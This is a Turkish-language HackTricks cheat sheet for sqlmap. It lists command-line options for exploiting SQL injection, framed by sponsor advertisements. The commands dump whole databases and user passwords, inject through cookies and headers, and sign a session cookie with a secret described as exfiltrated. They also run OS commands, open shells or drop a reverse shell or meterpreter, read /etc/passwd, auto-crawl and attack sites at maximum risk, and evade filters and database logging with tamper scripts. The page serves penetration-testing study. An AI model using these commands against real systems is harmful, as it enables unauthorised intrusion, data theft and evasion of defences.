.. | ||
README.md | ||
second-order-injection-sqlmap.md |
SQLMap - Hile Kağıdı
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking hilelerinizi paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
SQLmap için Temel Argümanlar
Genel
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Bilgi Al
İçsel
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
DB verileri
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Enjeksiyon Yeri
Burp/ZAP yakalama
İsteği yakalayın ve req.txt adında bir dosya oluşturun
sqlmap -r req.txt --current-user
GET İsteği Enjeksiyonu
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST İsteği Enjeksiyonu
sqlmap -u "http://example.com" --data "username=*&password=*"
Başlık ve Diğer HTTP Metotlarında Enjeksiyonlar
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Enjeksiyon başarılı olduğunda dizeyi belirtin
--string="string_showed_when_TRUE"
Değerlendirme
Sqlmap, her yükü göndermeden önce bazı python oneliner'ları ile işlemek için -e
veya --eval
kullanımına izin verir. Bu, yükü göndermeden önce özelleştirilmiş şekillerde işlemeyi çok kolay ve hızlı hale getirir. Aşağıdaki örnekte flask çerez oturumu, gönderilmeden önce flask tarafından bilinen sır ile imzalanır:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Kabuk
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Dosya Okuma
--file-read=/etc/passwd
SQLmap ile bir web sitesini tarama ve otomatik olarak açıkları kullanma
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
İkinci Derece Enjeksiyon
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Bu yazıyı okuyun, sqlmap ile basit ve karmaşık ikinci sıra enjeksiyonları nasıl gerçekleştireceğiniz hakkında.
Enjeksiyonu Özelleştirme
Bir sonek ayarlayın
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Önek
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Boolean enjeksiyonunu bulmaya yardım etme
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Değiştir
Kendi değiştiricinizi Python'da oluşturabileceğinizi unutmayın ve bu çok basittir. Bir değiştirici örneği İkinci Derece Enjeksiyon sayfasında burada bulabilirsiniz.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Değiştir | Açıklama |
---|---|
apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığıyla değiştirir |
apostrophenullencode.py | Apostrof karakterini yasaklı çift unicode karşılığıyla değiştirir |
appendnullbyte.py | Kodun sonuna kodlanmış NULL bayt karakteri ekler |
base64encode.py | Verilen koddaki tüm karakterleri Base64'e dönüştürür |
between.py | Büyüktür operatörünü ('>') '0 VE #' ARASINDA OLMAYAN' ile değiştirir |
bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele bir boş karakterle değiştirir. Daha sonra karakter = yerine LIKE operatörü ile değiştirir |
chardoubleencode.py | Verilen kodun tüm karakterlerini çift url-kodlar (zaten kodlanmış olanları işlemez) |
commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
commalessmid.py | 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir |
concat2concatws.py | 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir |
charencode.py | Verilen kodun tüm karakterlerini url-kodlar (zaten kodlanmış olanları işlemez) |
charunicodeencode.py | Verilen kodun kodlanmamış karakterlerini Unicode-url-kodlar (zaten kodlanmış olanları işlemez). "%u0022" |
charunicodeescape.py | Verilen kodun kodlanmamış karakterlerini Unicode-url-kodlar (zaten kodlanmış olanları işlemez). "\u0022" |
equaltolike.py | Tüm eşit operatörlerini ('=') 'LIKE' operatörü ile değiştirir |
escapequotes.py | Ters eğik çizgi ile tırnakları (' ve ") kaçış karakteri yapar |
greatest.py | Büyüktür operatörünü ('>') 'GREATEST' karşılığıyla değiştirir |
halfversionedmorekeywords.py | Her anahtar kelimenin önüne sürümlü MySQL yorumu ekler |
ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
modsecurityversioned.py | Sorguyu sürümlü yorumla kapsar |
modsecurityzeroversioned.py | Sorguyu sıfır sürümlü yorumla kapsar |
multiplespaces.py | SQL anahtar kelimelerin etrafına birden fazla boşluk ekler |
nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirmek için uygun temsilcilerle değiştirir (ör. .replace("SELECT", "")) filtreler |
percentage.py | Her karakterin önüne bir yüzde işareti ('%') ekler |
overlongutf8.py | Verilen kodun tüm karakterlerini dönüştürür (zaten kodlanmış olanları işlemez) |
randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeriyle değiştirir |
randomcomments.py | SQL anahtar kelimelere rastgele yorumlar ekler |
securesphere.py | Özel oluşturulmuş dizeyi kodun sonuna ekler |
sp_password.py | Otomatik olarak DBMS günlüklerinden gizlemek için 'sp_password'ı kodun sonuna ekler |
space2comment.py | Boşluk karakterini yorumlarla değiştirir |
space2dash.py | Boşluk karakterini tire yorumu ('--') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir |
space2hash.py | Boşluk karakterini bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir |
space2morehash.py | Boşluk karakterini bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir |
space2mssqlblank.py | Boşluk karakterini geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir |
space2mssqlhash.py | Boşluk karakterini bir diyez karakteri ('#') ve ardından yeni satır ('\n') ile değiştirir |
space2mysqlblank.py | Boşluk karakterini geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir |
space2mysqldash.py | Boşluk karakterini tire yorumu ('--') ve ardından yeni satır ('\n') ile değiştirir |
space2plus.py | Boşluk karakterini artı ('+') ile değiştirir |
space2randomblank.py | Boşluk karakterini geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir |
symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıklarıyla değiştirir (&& ve) |
unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
unmagicquotes.py | Tırnak karakterini (') çoklu bayt kombinasyonu %bf%27 ile değiştirir ve sonuna genel yorum ekler (çalışması için) |
uppercase.py | Her anahtar kelime karakterini büyük harf değeriyle değiştirir 'INSERT' |
varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
versionedkeywords.py | Her fonksiyon olmayan anahtar kelimeyi sürümlü MySQL yorumuyla kapsar |
versionedmorekeywords.py | Her anahtar kelimeyi sürümlü MySQL yorumuyla kapsar |
xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %}
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzdaki özel NFT'leri keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek Hacking püf noktalarınızı paylaşın.